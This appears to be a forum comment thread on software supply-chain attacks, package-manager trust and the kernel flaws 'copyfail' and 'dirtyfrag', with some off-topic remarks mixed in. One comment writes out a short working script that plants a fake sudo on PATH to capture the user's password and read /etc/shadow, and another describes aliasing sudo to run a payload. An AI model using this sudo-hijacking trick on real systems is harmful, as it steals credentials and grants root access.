(Naively, not knowing much about apt-get or yum or other OS package managers, I have always assumed that 1. only a handful of trusted people can publish to the default repos for system package managers and 2. that since I have to run `apt-get install` as root anyway, package installers can completely pwn my system if they want to and I am protected purely by trust. Is some of that wrong? If it's right, isn't it nonsensical to be any more worried about installing new packages in light of these vulns?)

But it was too convenient. Anyone warning about it or trying to limit the damage was shouted down by people who had no experience of any other way of doing things. "import antigravity" is just too easy to do without.

Well, now we're reaching the "find out" part of the process I guess.

    echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc

    mkdir -p .local/bin/
    cat <<EOF >.local/bin/sudo
    read -rs -p "[sudo] password for $USER: " PASSWORD
    echo ""
    echo "$PASSWORD" | /usr/bin/sudo -S head /etc/shadow
    EOF

    chmod +x .local/bin/sudo

Our security model based on distributions verifying packages, that is distro maintainers. Software we can't trust should be running in VMs. Attack on trivy is just the beginning and solution is removing pip, uv, npm, rbenv from host, running in docker containers:

    $ docker run -it -v.:/app -w /app node:alpine /bin/sh

    $ docker-compose.yml
    services:
      app:
        image: node:alpine
        volumes:
          - .:/app
        working_dir: /app
        command: /bin/sh
    $ docker compose run app

6-19-2005

My copy of StepMania is turning old enough to drink in like a month and it's still fantastic, software updates are (mostly) a scam.

What I want to say with that is fundamentally our world works because atleast most people do not abuse shit. That is fundamentally how human society has always worked, and will likely continue to do so.

We set up our base containers with all the external dependencies already in them and then only update those explicitly when we decide it's time.

This means we might be a bit behind the bleeding edge, but we're also taking on a lot less risk with random supply chain vulns getting instant global distribution.

If you can't trust your update sources, you have bigger problems.

Edit: I think I understand. copyfail is a kernel bug that lets a malicious npm package get root access on your Linux server, right?

So now, while there are unpatched servers, is when it would be the perfect time for attackers to target NPM packages.

And the advice isn't just "update your kernel" because we are still finding new related issues?

But problem is this could lead to abuse of the CVE system to try to force rapid adoption of attacked packages. What prevents this?

It takes 45 seconds to go check how old the copyfail and dirtyfrag vulnerabilities actually are. Which is longer than it takes to read TFA. Dirtyfrag may be relevant to systems from as far as 2017.

It's not "new" software being affected. And actual old software is in a much worse state because we had a lot more time to find their problems.

People lamented semver not being trustable but that ship sailed a long time ago, and supply chain attacks are going to get worse before they get better.

Our team is pretty minimal when it comes to enforced hooks (everyone has their own workflow) but no one could come up with an objection to this one.

It means you skip supply chain attacks but may miss fresh vulnerability patches too.

I am worried that the sluggishness appeared about the same time on both devices

I don't remember where I read it, but it basically boils down to need vs want.

I've used that rule for deciding between a new car or used. A fancy vacuum or basic.

A shiny new gadget.

Bringing new things into the tech stack.

Picking a new tech stack.

Behaviours matter more than OS security primitives.

What are people thinking with these meme style vulnerability names? It's going to be hard to pitch "we need to push back the timeline on this new infrastructure deploy while we mitigate Copy Fail 2: Electric Boogaloo".

Just alias sudo to sudo-but-also-keep-password-and-execute-a-payload in ~/.bashrc and wait up to 24 hours. Maybe also simulate some breakage by intercepting other commands and force the user to run 'sudo systemctl' or something sooner rather than later.

I switched to llama.cpp because of that.

To me it feels more and more that the slopcode world is the opposite philosophy of reproducible builds. It's like the anti methodology of how to work in that regard.

Before, everyone was publishing breaking changes in subminor packages because nobody adhered to any API versioning system standards. Now it's every commit that can break things. That is not an improvement.

The copyFail didn't, the dirtyfrag doesn't.

This copfail2 does modify /etc/passwd, but I can't `su - sick` as expected.

/s

I know this is unrelated to the article, but related to the title.

Code is cheap and is becoming cheaper by the day. We need new paradigms.